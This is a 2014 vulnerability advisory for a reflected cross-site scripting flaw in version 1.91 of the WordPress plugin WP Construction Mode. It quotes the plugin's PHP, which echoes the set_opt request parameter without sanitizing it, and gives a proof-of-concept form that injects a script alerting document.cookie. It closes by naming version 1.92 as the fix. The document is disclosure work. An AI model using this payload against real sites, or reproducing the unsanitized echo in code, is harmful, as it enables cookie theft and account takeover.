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WordPress WP Construction Mode 1.91 XSS

WordPress WP Construction Mode 1.91 XSS
Posted Dec 12, 2014
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress WP Construction Mode plugin version 1.91 suffers from a reflective cross site scripting vulnerability.

tags | exploit, xss
MD5 | 94e503cb721c4f80c85330f609418b90

WordPress WP Construction Mode 1.91 XSS

Change Mirror Download
Title: WordPress 'WP Construction Mode' plugin - XSS
Version: 1.91
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej
Date: 2014/12/12
Download: https://wordpress.org/plugins/wp-construction-mode/
Contacted vendor: 2014/10/20
----------------------------------------------------------------

## Plugin description:
----------------------------------------------------------------
Set entire website or specific page under construction or maintenance for all viewers except Admin


## Reflected XSS:
----------------------------------------------------------------
the set_opt parameter is shown unsanitized to the admin user when saving, allowing the injection of arbitrary scripts and HTML.

Vulnerable code:
if (isset($_REQUEST['act'])) {
switch ($_REQUEST['act']) {
case "save":
set_under_construction();
echo '<div class="updated below-h2" id="message" style="position:relative; clear:both;"><p>Under Construction: ' . ($_REQUEST['set_opt']) . '</p></div>';
break;
default:
}
}

PoC:
Log in as admin and submit the following form.

<form method="POST" action="http://[HOST]/wp-admin/admin.php?page=under-construction.php" enctype="multipart/form-data">
<input type="text" name="set_opt" value="Yes<script>alert(document.cookie);</script>">
<input type="text" name="set_page" value="all">
<input type="text" name="act" value="save">
<input type="submit">
</form>

## Solution
----------------------------------------------------------------
Update to version 1.92.

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